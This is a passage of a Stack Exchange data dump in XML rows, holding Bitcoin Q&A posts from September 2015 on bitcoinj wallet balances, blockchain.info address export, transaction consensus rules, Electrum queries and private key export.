PM org.bitcoinj.wallet.WalletFiles saveNow INFO:&#xA;  Saving wallet, last seen block is&#xA;  556391/00000000096e9b05c0986940553240db3d497900881bcc22df8bdad39144b053&#xA;  Sep 17, 2015 11:29:17 PM org.bitcoinj.wallet.WalletFiles&#xA;  saveNowInternal INFO: Save completed in 98msec 0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So why getBalance() is returning me 0? Do I need to wait longer? How long?&#xA;Because I sued the debugger and i called wallet.getBalance() again and again but I don't see it changing, its always 0.&lt;/p&gt;&#xA;" OwnerUserId="15153" LastActivityDate="2015-09-17T22:32:16.200" Title="Why I can't see the balance increasing in my wallet?" Tags="|wallet|bitcoinj|java|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40582" PostTypeId="1" AcceptedAnswerId="40588" CreationDate="2015-09-17T22:53:53.873" Score="0" ViewCount="1184" Body="&lt;p&gt;Is there any straightforward way to export just a list of my addresses I have in &lt;em&gt;Receive money&lt;/em&gt; tab?&lt;br&gt;&#xA;I would like to easily extract them to keep on the side to occasionally run &lt;code&gt;curl&lt;/code&gt; on those addresses to get all unspent outputs for each without going to blockchain.info website and logging in.&lt;br&gt;&#xA;I can do a copy-paste and &lt;code&gt;grep&lt;/code&gt; whole content for addresses but maybe there is some more reliable way?&lt;/p&gt;&#xA;" OwnerUserId="4822" LastActivityDate="2016-03-17T07:55:40.697" Title="Export a list of addresses associated to blockchain.info account" Tags="|blockchain.info|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40583" PostTypeId="1" AcceptedAnswerId="40584" CreationDate="2015-09-18T05:09:28.090" Score="2" ViewCount="1333" Body="&lt;p&gt;I am using insight-api for get block chain information. When i am trying to start insight i am getting error &quot;ERROR code=-28, message=Activating best chain...&quot; . I saw this error first time,please help me how to reslove this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full stack trace of error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                v0.2.12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;connection&#xA;info: insight server listening on port 3000 in development mode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: ERROR code=-28, message=Activating best chain...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am unable to understand error. i am using insight-api for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="25086" LastActivityDate="2015-09-18T06:52:14.190" Title="What does it mean ERROR code=-28, message=Activating best chain?" Tags="|blockchain|bitcoind|blockchain.info|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40584" PostTypeId="2" ParentId="40583" CreationDate="2015-09-18T06:52:14.190" Score="3" Body="&lt;p&gt;Your node is still starting up, you need to wait until it is finished before using the RPC interface. The RPC message is telling you to call back later, which &lt;code&gt;insight-api&lt;/code&gt; doesn't seem to be able to understand, simply waiting until the node is completely active is a suitable workaround. This may take a few minutes depending on your servers hardware, the &lt;code&gt;bitcoin-cli&lt;/code&gt; tool supports automatically waiting for the interface to be available with the &lt;code&gt;-rpcwait&lt;/code&gt; flag. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-18T06:52:14.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40585" PostTypeId="1" AcceptedAnswerId="40586" CreationDate="2015-09-18T07:29:58.873" Score="2" ViewCount="106" Body="&lt;p&gt;Since Bitcoin validates transactions by the majority of peers, and stacks ALL transaction history chain to some kind of hash, is then the following statement true?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Only one transaction can happen at the same time. And only when it's&#xA;  processed completely, other transaction can be processed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If yes, will that be very slow? Considering a transaction must be broadcasted to majority nodes to complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, how does Bitcoin achieved that? (I assume not)&lt;/p&gt;&#xA;" OwnerUserId="29445" LastEditorUserId="5406" LastEditDate="2015-09-18T08:18:14.343" LastActivityDate="2015-09-18T13:18:17.030" Title="Do transactions happen globally synchronized?" Tags="|transactions|nodes|algorithms|unconfirmed-transactions|relay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40586" PostTypeId="2" ParentId="40585" CreationDate="2015-09-18T08:15:59.820" Score="3" Body="&lt;p&gt;&lt;strong&gt;No, that is not correct. Transactions can happen in parallel, asynchronously, and do not need to wait their turn.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When someone creates a transaction, they send the transaction statement to their peers. Those peers verify the validity of the transaction, i.e. they check whether it adheres to the rules of the protocol, then in turn will inform their peers about the transaction, so that the news of a new transaction cascades through the network quickly. The nodes will relay transactions as they get to know them, so a lot of transactions can be spread around the network at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, different nodes will know about different transactions at the same time. That's fine though, because order doesn't matter at that point unless transactions depend on each other. This uncertainty gets resolved, once a transaction gets included in a block, which we call &quot;confirming a transaction&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As miners learn of a new transaction, they'll include it in their set of transactions that they are trying to confirm. When a miner succeeds and finds a new block, this block includes the list of transactions that they wrote into the block. All these transactions are considered confirmed by the block, the block represents an atomic increment of the network's state. Just as transactions before, the block will then get relayed through the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As other nodes receive the block, they verify that it is valid, and subsequently update their local representation of the network's state: They update their blockchain, remove consumed and add new transaction outputs to their &quot;Unspent transaction outputs pool&quot;, and remove confirmed transactions from the &quot;Unconfirmed transaction pool&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-09-18T13:18:17.030" LastActivityDate="2015-09-18T13:18:17.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40587" PostTypeId="2" ParentId="4180" CreationDate="2015-09-18T09:04:51.203" Score="1" Body="&lt;p&gt;On Jul 14 2012 at 10:13 Abhishek M. wrote &quot;I want to know all the options available for converting these earned Bitcoins to Paypal USD.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are nine different bitcoin debit cards available on the first 10 results when you Google 'bitcoin debit cards':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.google.com/search?q=bitcoin+debit+cards&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/search?q=bitcoin+debit+cards&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANXBTC.com says &quot;let your Bitcoins do everything your credit cards can do&quot; and &quot;Spend your bitcoins on a global network that has over 25 million merchants just like any credit card!&quot;. &lt;a href=&quot;https://anxbtc.com/pages/card&quot; rel=&quot;nofollow&quot;&gt;https://anxbtc.com/pages/card&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Xapo.com says &quot;swipe it at your favorite brick and mortar merchants or enter the card information at any online destination&quot;. &lt;a href=&quot;https://xapo.com/wallet/&quot; rel=&quot;nofollow&quot;&gt;https://xapo.com/wallet/&lt;/a&gt; This is not necessarily all rosy, because when you read the fine print you may see shocking bitcoin debit card fees. However, not all bitcoin debit cards are the same, and players do change their offers and have special deals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more comprehensive look would involve the analysis of the withdrawl fee structure for bitcoin debit cards, and all associated expenses, and then compare that to total Paypal fees. Perhaps a debit card could work for you, and you won't have to risk your capital with Paypal in the United States. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, crypto technology firms like ShapeShift.io and HolyTransaction.com offer the ability to shape your bitcoin into many other cryptocurrencies. These types of services can be blended with other perhaps local companies, and could give you more options for exchanging the value of your earned bitcoins affordably, easily, and with possibly lower withdrawl costs than Paypal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many consumers find bitcoin backed debit cards are a convenient and affordable alternative to traditional payment systems.&lt;/p&gt;&#xA;" OwnerUserId="29340" LastActivityDate="2015-09-18T09:04:51.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40588" PostTypeId="2" ParentId="40582" CreationDate="2015-09-18T09:13:11.960" Score="0" Body="&lt;p&gt;You could use the blockchain.info wallet api to get a list of all of your addresses and their balances.  The &quot;Listing Address&quot; endpoint is what you're looking for if you go that route, which is very easily curlable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/merchant/$guid/list?password=$main_password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It won't show archived or deleted addresses, but if you actually have a balance on those addresses you probably wouldn't archive them anyway.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/api/blockchain_wallet_api&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info Wallet API Documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also export your addresses from the wallet interface by going to the Account Settings &gt; Import/Export &gt; Export Unencrypted.  All of your active addresses are in the big JSON document there.&lt;/p&gt;&#xA;" OwnerUserId="29446" LastActivityDate="2015-09-18T09:13:11.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40589" PostTypeId="1" AcceptedAnswerId="40591" CreationDate="2015-09-18T09:53:16.173" Score="2" ViewCount="289" Body="&lt;p&gt;Lets consider 3 possible transactions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Tx1  an output value is negative&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tx2  a sigScript is empty&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tx3  a scriptPubKey is empty&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Is it possible for these transactions to meet consensus rules (could be mined in a block)? Are they all non-standard according to standardness/policy rules?&lt;/p&gt;&#xA;" OwnerUserId="15358" LastEditorUserId="47827" LastEditDate="2022-06-07T13:01:28.247" LastActivityDate="2022-06-07T13:31:14.913" Title="Can transactions include a negative output value, an empty sigScript or an empty scriptPubKey and still meet consensus rules?" Tags="|transactions|script|consensus|input-script|non-standard-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="40590" PostTypeId="2" ParentId="36283" CreationDate="2015-09-18T10:23:00.613" Score="1" Body="&lt;p&gt;I do not know of a definitive list of provable solvency implementations. Some of the current implementations however do show signs of similarity even if you cannot call that standardization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, tether.to ( &lt;a href=&quot;https://tether.to/&quot; rel=&quot;nofollow&quot;&gt;https://tether.to/&lt;/a&gt; ) backs every tether with a US dollar. That's 100% backing. This is not unlike the discarded gold standard where treasuries formerly backed a currency one to one. This was a provable solvency standard accepted by the international community for decades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitfinex ( &lt;a href=&quot;https://www.bitfinex.com&quot; rel=&quot;nofollow&quot;&gt;https://www.bitfinex.com&lt;/a&gt; ) keeps a balance of tether - and publishes exact numbers within its website - in line with its user obligations. Other players similarly strive to exhibit transparency in their financial transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some altcoins link the value of their coin to a tangible asset, such as marijuana. At the same time most people might agree that even an altcoin backed by a high value tangible asset is still not a provable solvency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transparency does not prove solvency. Maintaining a 100% reserve of capital assets versus capital liabilities does not prove solvency. Unless you have unfettered access to a Balance Sheet created with industry recognized fundamental accounting principles, with clear asset, liabilities and equity statements, and that these statements are truthful and complete, then there is no 100% verifiable method to ascertain whether a company is solvent, or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With privately held companies it is not likely you will see a publicly available Balance Sheet. So with private companies, as most bitcoin and cryptocurrency companies are, you will ultimately not be capable of proving solvency, notwithstanding capital asset and liability measures, or transparency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you cannot see the whole picture, then you cannot verify its authenticity.&lt;/p&gt;&#xA;" OwnerUserId="29340" LastActivityDate="2015-09-18T10:23:00.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40591" PostTypeId="2" ParentId="40589" CreationDate="2015-09-18T11:45:20.640" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Tx1 output value is negative&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Definitely not. (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/13b828270a6f912aeb24dee87108c6bda83d1b96/src/main.cpp#L711&quot; rel=&quot;nofollow noreferrer&quot;&gt;2015 codebase&lt;/a&gt;, &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/consensus/tx_check.cpp#L27&quot; rel=&quot;nofollow noreferrer&quot;&gt;2022 codebase&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Tx2 sigScript is empty&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes, so long as the script evaluates to true.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Tx3 scriptPubKey is Empty&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes, the scriptPubKey is not validated.&lt;/p&gt;&#xA;&lt;p&gt;Tx2 and Tx3 will both be spendable by anybody in the network, other users will attempt to spend it instantly and miners could attempt to &lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending#Finney_attack&quot; rel=&quot;nofollow noreferrer&quot;&gt;finney attack&lt;/a&gt; it out from under you even if you make the first spend with a high fee.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="47827" LastEditDate="2022-06-07T13:31:14.913" LastActivityDate="2022-06-07T13:31:14.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="40592" PostTypeId="2" ParentId="10701" CreationDate="2015-09-18T12:04:09.810" Score="1" Body="&lt;p&gt;According to Ripple the url &lt;a href=&quot;https://ripple.com/wiki/Gateway_Integration_Manual&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/wiki/Gateway_Integration_Manual&lt;/a&gt; for the Gateway Integration Manual is &quot;DEPRECATED&quot;. Ripple says &quot;This page has been replaced with the new Gateway Guide on ripple.com. Please refer to that document instead.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is their newer doc: &lt;a href=&quot;https://ripple.com/build/gateway-guide/&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/build/gateway-guide/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple does not prohibit those who are not &quot;banks, funds or other financial institutes&quot; from building a gateway. Just the opposite. It is in Ripples' best interest if widespread (Ripple compliant) adoption is made. In their example Ripple uses &quot;a fictional online currency exchange named “ACME” and its users as examples, to show how ACME can expand its business to include being a Ripple gateway&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Businesses that link the Ripple network to the rest of the world such as &quot;online financial services, such as payment systems and digital currency exchange&quot; are businesses which could build a ripple gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the list of Ripple Popular Gateways shows some of the types of businesses which could become gateways: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ripple.com/knowledge_center/gateway-information/&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/knowledge_center/gateway-information/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These include Panama Bitcoins (&lt;a href=&quot;http://ptycoin.com/ripple&quot; rel=&quot;nofollow&quot;&gt;http://ptycoin.com/ripple&lt;/a&gt;), SnapSwap (&lt;a href=&quot;https://snapswap.us/&quot; rel=&quot;nofollow&quot;&gt;https://snapswap.us/&lt;/a&gt; and &lt;a href=&quot;https://snapswap.eu/&quot; rel=&quot;nofollow&quot;&gt;https://snapswap.eu/&lt;/a&gt;), and LakeBTC (&lt;a href=&quot;https://www.lakebtc.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.lakebtc.com/&lt;/a&gt;) amongst many others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your query about &quot;AML policies and require KYC information&quot; the specific compliance regimes for this depend on the jurisdiction your ripple gateway lies within, and where your customers reside. For example if your theoretical Ripple Gateway was physically located within the USA then American AML KYC legislation would apply to your business. The same would apply if your gateway was outside of the US, but traded with US citizens residing in the USA. Other jurisdictions will have other legislation. Many crypto businesses have implemented their own brand of AML KYC specific to their own jurisdictional requirements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more countries which do not have definitive crypto legislation than countries which do, so the applicability of traditional legislation itself is even in question for example the lack of a definition of what bitcoin is in each country can create a situation in which it is not clear whether or not legislation including AML or KYC applies to cryptocurrency, or even more undefined internationally, Ripples' legal financial exposure in transferring value globally in affected countries. This will be different in each country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question &quot;what is the minimum starters level of capital need to make own gateway?&quot; the level of capital required would depend on the nature of the market you intended to serve. Different markets would require varying levels of financial commitment, the depth of the trust line you wanted to maintain would affect this, and the scope and geolocation of your organizational and technology infrastructure would also come into play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, it is highly beneficial to understand the law in each jurisdiction your Ripple Gateway will do business in. The opposite is also true.&lt;/p&gt;&#xA;" OwnerUserId="29340" LastActivityDate="2015-09-18T12:04:09.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40595" PostTypeId="2" ParentId="38456" CreationDate="2015-09-18T22:47:30.577" Score="-1" Body="&lt;p&gt;Don't lose hope. If your computer is up to date (A good Desktop at least a i3) you can mine bytecoin which can only be mined using CPU or GPU. At 100-220 H/s and that is not fast or even fast enough to be slow by Bitcoin standards.In two days I mined well over 3,000 coins. That gave me 0.00092425 btc= $0.22 cents. More than you will get from a bitcoin faucet in that time frame. So, 400 Bytecoin = 1 cent when traded for Bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I am on my computer surfing as I mine but, need to stop mining if I play a game. Here is the link to get the software and start mining ASAP, &lt;a href=&quot;https://minergate.com&quot; rel=&quot;nofollow&quot;&gt;https://minergate.com&lt;/a&gt; (CPU and GPU miner app) and Wallet (which as a built in CPU only miner as well) at &lt;a href=&quot;https://bytecoin.org&quot; rel=&quot;nofollow&quot;&gt;https://bytecoin.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also checkout &lt;a href=&quot;http://www.bytecent.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.bytecent.com/&lt;/a&gt; takes longer to mine but 1 bytecent =$.05 cents in btc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mine Bitcoin as well with a 620 GHash/s miner I got at a decent price that included both controller(Raspberry Pi w/software cgminer) and 1000W PSU for under $160.. Making about $1.12+ a day..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI. There are deals out there but, you must do your research on the miner you're interested in and know it's specs and if it will earn $$$. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I just bought a used but well taken care of Bitman Antminer S3 441 GHash/s miner for $99.00 from ebay FYI Seller has 4 left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 THash/s is best to start with but, new they are still $800-$1500 and will only earn you about $2.25+ a day mining. That is why I also Rent my Hashing power out. Just look on ebay to see what people are paying for and what they are getting for that price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this put that spark back into your interest in crypto mining. It is a fun hobby/possible side gig.&lt;/p&gt;&#xA;" OwnerUserId="29455" LastEditorUserId="29455" LastEditDate="2015-09-19T07:15:11.307" LastActivityDate="2015-09-19T07:15:11.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40596" PostTypeId="1" CreationDate="2015-09-19T05:09:37.607" Score="2" ViewCount="113" Body="&lt;p&gt;I am loading the blockchain for a new wallet. Initially I had problems due to ISP issues. This issue is fixed and I now have 8 outbound connections working well with ping times ranging from 50-800 ms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is my blockchain is not reflecting the peer sync numbers. My ISP issues halted my blockchain download at 340401 blocks. Now this issue is resolved my debug window shows my peers have reached a sync height of 375167. The peers have been increasing for over a day now while my wallet has shown the same 340401 over this entire time period. I have closed and reopened the app multiple times to no avail. The wallet indicates it is &quot;synchronizing with network&quot; but the sync arrow in the right has not moved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 12GB of memory. Bitcoin is currently using 4% of CPU. I am waiting to receive a payment but am stuck. Is anyone able to give me a clue as to why my peer block is not reflected in my blockchain? I am not a programmer and prefer a simple solution. Please help.&lt;/p&gt;&#xA;" OwnerUserId="28187" LastActivityDate="2015-09-19T05:09:37.607" Title="Bitcoin .11 Initial Blockchain Download Problem with OS X 10.10" Tags="|blockchain|bitcoin-core|synchronization|mac|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40598" PostTypeId="2" ParentId="40556" CreationDate="2015-09-19T10:59:31.533" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm using the HTTP post version of the Stratum protocol and content type &quot;application/stratum&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The HTTP version of stratum isn't supported in the later server versions, it's unlikely you'll be able to use them in any sort of capacity in the future. When connecting to the TCP+SSL version of electrum-server your command works perfectly, though the block height field in your example should be an integer and not a string. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;telnet electrum.be 50001&#xA;Trying 88.198.241.196...&#xA;Connected to electrum.be.&#xA;Escape character is '^]'.&#xA;{ &quot;id&quot;: 1, &quot;method&quot;: &quot;blockchain.transaction.get_merkle&quot;, &quot;params&quot;: [ &quot;967d009ee103340d6762819ebf452107561423fe97b04fbf501594f231e212c4&quot;, 369863 ] }&#xA;{&quot;id&quot;: 1, &quot;result&quot;: {&quot;merkle&quot;: [&quot;d844420b0f01398953b809b844bc9a5987f41d1373dab3180b6b4fe4de8633c4&quot;, &quot;3c1f63dae13e84aaba94d6ee12c7b48fa7b470eacfbe6e183ba008b7cbc3725c&quot;, &quot;0c5141f62f1ad58a6ebcee98868451ff392bc49bfb6daa5e4f492b6d175812cf&quot;, &quot;e414fd7ee39a83b7bd524f98ed09efa279a97fecbeeca68087de384eda71fc31&quot;, &quot;47fbf181989f2549d0d7a9fee2337ea60295059df0c0267cca173fd43b8e8596&quot;, &quot;bc441c955a6d9bc629e3a8e428aa7670d2bf631a9d11887bb4ad6b534fcf4817&quot;, &quot;1985800e12a150e6196ac07119278ea84ad296f1d8b2c88b2c85f61035f6a7cd&quot;, &quot;fc02dfab3083ca9185bce4e8b9357b5aacacce2172c969ac543da04eaa1c0c1d&quot;, &quot;6a36f10f34da6d66fdf75d4d97e0796106e7594409d354b8419a248231ab6935&quot;, &quot;cbc02af67b294fe7bad08a69f9435b520f8f89fa221583e0a84c8d9c9dc469a0&quot;, &quot;1043c7a6b9b4c42243e84a49a1f40476692b5d36d2f64dfb14409490ca3dfad2&quot;, &quot;fbbaec1ca9d29ba9ee6a89214428556827b4e5a254de59de5adabbabb2621f54&quot;], &quot;pos&quot;: 2917, &quot;block_height&quot;: 369863}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-19T10:59:31.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40600" PostTypeId="1" AcceptedAnswerId="40605" CreationDate="2015-09-19T19:32:34.097" Score="3" ViewCount="442" Body="&lt;p&gt;Why doesn't each node store only a portion of the blockchain? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you had 100 nodes, each node would store 10% of the blockchain. This would amount to significant overlap of each aspect of the blockchain, and as nodes came and left there would be increased or decreased sharing of the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it infeasible? If so, why? I am interested in pursuing this as a project because I think it could solve a lot of bitcoin's scalability/decentralization issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my understanding of the blockchain, let's assume a particular node starts at the genesis block. Let's assume another node stores 1% of the blockchain past the genesis block. Couldn't multiple node verify block hashes for their shared 9% at a rate of once every 10 minutes? It wouldn't really use that much data -- you could hash the 9% of the blockchain to a particular value, produce a public key, and see if the other nodes can match a private key to said public key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A related question: Is this what Electrum does? Or, does Electrum simply store the entire blockchain on multiple servers that you can connect to? &lt;/p&gt;&#xA;" OwnerUserId="21539" LastEditorUserId="21539" LastEditDate="2015-09-19T19:39:04.120" LastActivityDate="2015-09-23T13:09:55.917" Title="Wouldn't bitcoin benefit from distributing partial blockchains over each node?" Tags="|blockchain|electrum|nodes|storage|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40601" PostTypeId="2" ParentId="40571" CreationDate="2015-09-19T19:56:24.720" Score="1" Body="&lt;p&gt;Liberland: Europe’s Newly Formed Country to Use Bitcoin&#xA;Read Full article &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://insidebitcoins.com/news/liberland-europes-newly-formed-country-to-use-bitcoin/31979&quot; rel=&quot;nofollow&quot;&gt;http://insidebitcoins.com/news/liberland-europes-newly-formed-country-to-use-bitcoin/31979&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On April 13, 2015 the Free Republic of Liberland was officially formed by a group of Czech citizens. The newly formed country of Liberland is a three square mile plot of land between Serbia and Croatia. The President of Liberland, Vit Jedlicka, has confirmed that Liberland will not have an official currency nor a printed currency. The country will however, accept all currencies, both bitcoin and other digital currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Free Republic of Liberland, or “Liberland”, is only the size of three square miles, situated between Serbia and Croatia. The west bank of the Danube river runs alongside its border. This area between Croatia and Serbia had previously been declared terra nullius or a no man’s land. On April 13, 2015 the land was officially claimed and given its name after the Preparatory Committee declared the new state and raised a flag on location.&lt;/p&gt;&#xA;" OwnerUserId="29455" LastActivityDate="2015-09-19T19:56:24.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40602" PostTypeId="1" CreationDate="2015-09-19T20:26:12.683" Score="3" ViewCount="1542" Body="&lt;p&gt;I am still attempting to complete the receipt of a payment in BitCoin-QT. The initial synchronization is beginning to be a hassle so I thought I might get my key and transfer my wallet to Blockchain.info. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the directions in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7536/how-do-i-export-my-private-keys-from-my-bitcoin-qt-client&quot;&gt;How do I export my private keys from my Bitcoin-QT?&lt;/a&gt;&#xA;to get my private key. All I get back for &lt;code&gt;dumpprivkey[]&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Invalid Bitcoin address (code -5).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I thought maybe I had the wrong address so I entered &lt;code&gt;listreceivedbyaddress 0 true&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are only a couple of addresses since I have a new wallet. All of the addresses returned the same &quot;Invalid Bitcoin address&quot; message. What is going on? I know one of these addresses was used to give to an exchange for my new BC. Is it simply because my blockchain is incomplete and the transaction is incomplete?&lt;/p&gt;&#xA;" OwnerUserId="28187" LastEditorUserId="-1" LastEditDate="2017-06-28T18:04:31.863" LastActivityDate="2017-06-28T18:04:31.863" Title="Export Private Keys from Bitcoin-QT" Tags="|blockchain|bitcoin-core|private-key|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="40603" PostTypeId="1" CreationDate="2015-09-20T01:12:17.930" Score="3" ViewCount="253" Body="&lt;p&gt;Will my current balance combine with the balance on the other wallet I want to recover?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do I need to empty the wallet on my phone before recovering the wallet that was on my old phone?&lt;/p&gt;&#xA;" OwnerUserId="29469" LastEditorUserId="5406" LastEditDate="2015-10-20T08:50:52.910" LastActivityDate="2015-10-20T08:50:52.910" Title="Will my wallet be extended or replaced when I recover another wallet in Breadwallet?" Tags="|wallet|wallet-recovery|breadwallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40604" PostTypeId="2" ParentId="40603" CreationDate="2015-09-20T02:42:55.643" Score="1" Body="&lt;p&gt;If you start or recover a wallet it is completely isolated from your old one, the balance will not be combined. You don't need to empty it first, but it will be awkward to keep swapping backwards and forwards between two wallets if you choose to do so (you'll need to re-sync each time). &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-20T02:42:55.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
